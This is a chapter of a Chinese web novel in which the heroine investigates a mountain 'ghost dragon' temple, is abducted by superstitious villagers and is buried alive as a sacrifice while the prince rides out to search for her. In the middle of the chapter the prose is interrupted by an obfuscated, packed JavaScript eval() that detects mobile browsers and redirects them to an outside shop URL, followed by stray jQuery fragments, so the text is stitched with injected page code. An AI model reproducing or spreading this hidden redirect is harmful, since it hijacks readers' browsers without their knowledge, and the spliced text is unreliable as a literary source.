她忽然想起曾在一本民俗书上见过一个说法,在西南地区的山林之间,常有祭祀邪神的祭坛庙宇。

    此地离山洪常发之地不远,看神庙的外观,想来可能是一座鬼龙庙。

    她虽好奇,但并未接近,趁着天色尚好,往山上走去。

    脚下的山路崎岖相似,草木长势别无二致,仿佛有两条一模一样的山道,纵横交错。前方却未见大片松林,混淆了方向,还是走错了路?

    她不再往前走了,再走下去也是南辕北辙。于是沿着脚印下山,那座鬼龙庙再次出现在眼前。

    这次,她定了定心神,朝着那座神庙稳步走去。

    越靠近庙宇,那缕浓郁的香烛气息便愈发清晰。待走近阶前,她垂眸一望,庙前火盆之内,残余的纸钱灰烬尚有余温,片片纸灰卷曲发黑,纹路、材质,竟与前些日子莫名洒遍王府门前的纸钱分毫不差。

    周围依旧并无人影。卫莺时指尖微紧,抬眼望向天际,凭借头顶开始斜落的日头辨明方位。

    她记得此前军中设立的哨站就在这片山林西侧,距离此处并不算远。她拍了拍手心的灰烬,往西边走。

    可越往前走,那股诡异的不安便越重。太安静了,静得叫人头皮发麻。她的额角沁出汗珠,后背的衣衫贴在肌肤上,凉意一寸寸渗进去。

    远远地,她望见哨站前立着一道高大的身影,压低的帽檐遮住了大半张脸。她心头微微一松,往前走了几步,鞋子踩碎落叶,在静谧的山林中格外扎耳。

    可那身影依旧纹丝不动。一阵风不知从何处卷来,她忽然闻见一股干燥的稻草气息,刺得鼻腔微微发痒。

    一只乌鸦自那背影的肩头扑棱棱飞起,带起几片草屑,掠过她头顶时发出一声粗哑的嘶鸣。

    卫莺时咬了咬牙,走上前去,伸手在那人的肩上轻轻一拍。

    那身影应声而倒。泥胎的稻草人歪歪地倒在尘土之中,草编的躯干裂开一道口子,露出里头枯黄的麦秆。

    帽檐滑落,露出一张用炭笔画出的粗陋五官,眼睛是两个漆黑的圆点,嘴角弯成一道僵硬的笑弧。

    那只乌鸦落在不远处的枯枝上,歪着头,漆黑的眼睛一眨不眨地盯着她。

    卫莺时攥紧衣摆,原本艳阳高照,此时飘来几片沉云,天空蓦然开始落雨。

    她将帷帽上的轻纱放下,快步朝神庙的屋檐下跑去。

    这座庙宇选址极为奇特,坐落在两山交夹的沟谷深处,门前有一座石砌小龛,香炉中的残灰已被雨水浇成一摊黑泥。

    屋子像是新建不久,土坯矮墙,檐角低垂,从外头看毫不起眼。可推门而入的瞬间,她才发现里头别有洞天。

    屋子低矮逼仄,那尊神像却顶天立地,几乎占满了一整面夯土墙。

    青黑色的面孔,双目圆睁,獠牙外翻,面目狰狞可怖,身披一件已经褪色的红布袍,双手托着一块嶙峋的山石,石上刻着模糊的纹路。

    和她猜想的一样。这是一尊鬼龙神像。

    在当地山民的信仰中,正统龙王掌行云布雨,佑一方风调雨顺,而浊龙与沟龙,则专管山中洪水,垮山走石。

    每逢暴雨过后,山谷中涌出混泥沙石,山民便认定是地底恶龙翻身,龙身带土奔涌,一旦发怒便冲毁村寨良田。

    于是,他们便在这类沟谷之处修建神台与神庙,杀牲献祭,祈求平息龙怒。这一类的神庙,俗称为鬼龙庙。

    她低头望去,供台上盖了一块褪了色的红布,底下鼓鼓囊囊的,看形状像是供奉的牺牲。布面上落了一层薄灰,空气里弥漫着陈旧的腥气与香烛的甜腻,混在一起,叫人胃里微微翻涌。

    “龙以沙石随水伤人,山民私祀禳之,有司屡毁不止。”

    卫莺时低声念出红川县志中读到过的句子,目光扫过神像脚下几道暗褐色的痕迹。

    雨幕骤然浓密起来,遮天蔽日,天地间只剩白茫茫一片水雾。

    她透过狭小的窗洞往外望去,山谷之中,雨水汇聚成湍急的浊流,正裹着泥沙碎石朝山下奔涌而去。

    她心头一沉,这座神庙恰恰建在沟谷低处,夯土为墙,年久失修,若山洪暴发,第一波冲击的便会是这里。

    雨声越来越大,林间的喧嚣如山呼海啸,她快步走到门前,才一探头,便被扑面而来的风雨砸了满头满脸,雨水顺着衣领灌进去,衣服瞬间湿透了。

    她咬了咬牙,冲入雨幕之中。紧接着,后颈传来一阵剧痛,霎时间天旋地转,失去了知觉。

    “怎么忽然下了这么大的雨?”陆秉关上窗扇,窗纸被风雨拍得簌簌作响,“看来天要留人。”

    萧衍坐在窗前,指尖无意识地摩挲着青玉扳指。自清晨来到红川驿站开始,他心里便隐隐觉得不踏实,此时下了雨,心悸的感觉尤甚。

    “殿下,要不,多留一日?”陈述不得不抬高了声音,雨声实在太大了,噼里啪啦地砸在屋檐窗扇上,震得耳膜发胀。

    “是啊,这么大的雨,连路都看不清了。”陆秉在一旁慢悠悠地补了一句,“还是你放心不下王妃?”

    萧衍没有答话。他确实放心不下。

    指尖在扳指上停住了,嘈杂扰人的雨声之中,他忽然听见了不同寻常的动静,急促的马蹄声,越来越近。

    敲门声响起之前,他已抢先一步拉开了门。

    一个浑身湿透的侍卫跪倒在地,泥水顺着他的衣摆往下淌,汇成一摊浑浊的水渍。

    “殿下,王妃……王妃失踪了。”

    萧衍的瞳孔骤然紧缩。

    “什么叫失踪了?”陈述抢先吼道,“你们怎么办的事!”

    “今日一早,接连有流民在东跨院和西跨院闹事,我与手下便领兵前去镇压……”

    侍卫低着头,“谁知道……谁知道一个时辰前,我们回到后院,青杄姑娘说王妃不见了。我们搜遍了府上也不见人影,实在是拿不定主意,这才来寻您……”

    “她今日去过何处?”

    “王妃半日都在后院侍弄松木,未曾出门……”

    “不好。”萧衍的声音骤然绷紧,“她可能入山了。”

    他提起雁翎刀便出了门,朗声道:“备马!”

    “殿下!”陈述一把拦住他,“此时入山,山中若是起了洪水,若是……万一两个人都搭进去怎么办?”

    萧衍闻言,稍稍冷静了片刻,随后转头问道:“城中找过了吗?”

    侍卫赶紧回道:“找过了,不见踪影。”

    “她若是入山,必然是去上回采菌的地方。”萧衍已经翻身上马,雨水顺着他的下颌滚落,“我先循着最近的山路去找。”

    他话音未落,已一夹马腹冲入雨幕。陈述从屋檐下抓起两只斗笠,可刚一踏出门,萧衍的身影便被白茫茫的雨帘吞没,马蹄声转瞬模糊。

    他咬了咬牙,戴上斗笠冲了出去。

    陆秉站在窗边,望着那道消失在雨幕中的背影,没有动。片刻之后,他叫住了正欲跟上的侍卫:“我与你先行回府,调查上午闹事之事。”

    侍卫愣了一下,随即点头。

    陆秉拢了拢披风,出门之时,心中却已经转了无数个念头。这闹事的流民,与忽然而至的大雨,未免太过巧合了。

    一滴、两滴、三滴。

    冰凉的雨水顺着缝隙滴落在她的鼻梁上,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788149|210247||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    紧接着,顺着脸颊滑进衣领。

    卫莺时猛地睁开眼,眼前却是一片漆黑。

    后脑的钝痛还未散去,她动了动手脚,才发觉自己已被绳索牢牢捆住。

    她往一旁挪了挪,肩膀撞到一处坚硬的木板,缝隙处漏进来一缕微弱的天光。她想坐起身来,可空间逼仄狭小,连腰都直不起来。

    她用脚踢了踢身侧的木板,声响沉闷,回音短促。她忽然明白了过来,她被关在了一只狭窄的木匣中,又或者说,她正躺在一具棺材里。

    咚咚咚。

    惶惑不安的雨声中,她听见外头有人走动,脚步声密集,紧接着,是钉子钉入木板的钝响,一下又一下。

    木屑簌簌落入棺中,她轻轻咳嗽了一声,“你们是什么人?”

    “老杨,妖女醒了。”说话之人在棺材的右侧,听起来在瑟瑟发抖。

    妖女?卫莺时疑道。

    “别废话!快点!到了时辰还不把她送下去,龙王要生气了!”

    听口音是当地的山民,可他们绑自己做什么?卫莺时猛地想起王府门前那些纸钱上的字,想来是因为城中那些流言而起了杀心。

    “你们到底是谁?”

    “莫要回应!”一个苍老的男声厉声喝断,“回应了,妖女会吞了你们的魂魄!”

    棺材盖板被什么东西重重拍了一下,发出一声沉闷的震响。紧接着,是一张符纸贴下来的声音。

    棺身忽然倾斜,她整个人朝一侧滑去。杨猎户带着几个人将棺材推入早就挖好的深坑之中,咚的一声,棺底撞上硬土,震得她后脑再次撞上木板,眼前一阵发黑。

    泥土被一铲一铲地填进来,落上棺材板的响声沉闷而密集。

    “老杨,山洪快来了,咱们得赶紧撤!”

    “神婆说这咒要念上三遍,龙王才能听见,将妖女的魂魄带走,不然她的魂灵便会继续托生寄主,世世代代为祸乡民!”

    外头传来含混的咒语声,怪异的语调混合着敲击的闷响,像是一个并不真实的梦。

    脚步声渐渐远去了,最终彻底消失在雨声之中。

    卫莺时咬着牙,忍痛将右手大拇指的关节卸下,从绳索中抽出手来,又忍着剧痛将关节推回原位。

    她疼得浑身发抖,指尖摸索着身上可用的硬物,惊喜地发现,背上的箭筒还在。

    可绑得太紧,她自己也解不下来,只能一下一下用箭管撞击棺板,试图将上头的泥土与石块震松。

    可上头压得太沉,她渐渐脱力。

    雨水顺着棺材的缝隙倒灌进来,冰凉刺骨,水位正在缓缓上升。她侧耳贴紧棺底,听见大地深处传来一阵沉闷的轰鸣,像是有什么庞然大物正在山腹中翻滚苏醒。

    山洪就要来了。

    此处位于半山腰的沟谷处,若山上泥沙被洪水裹挟而下,必从此处经过。他们是要将自己葬身于此,以她祭祀邪神,平息山神之怒,好让预言应验。

    真可笑。她明明什么都没做,却因一群人的愚昧与恐惧,要被活活埋在这里。

    可惜,就算她明白这一切,也已经晚了。一股浓郁的香气从棺材缝隙中飘入,她的眼皮越来越沉,意识像烛火被风一寸寸吹灭。

    萧衍……回府了么?他大概永远也找不到自己了……

    他可能会难过一阵子,但过些日子便会忘了她。他是珉王,要什么样的女子没有。

    只求他……好好待青杄和白岑……还有玟元哥哥。

    卫莺时的心脏揪痛起来,泥水已经漫过了她的耳廓,浸透了衣裳。她的意识渐渐涣散,像一片木蝴蝶缓缓飘落下来。

    “卫莺时——”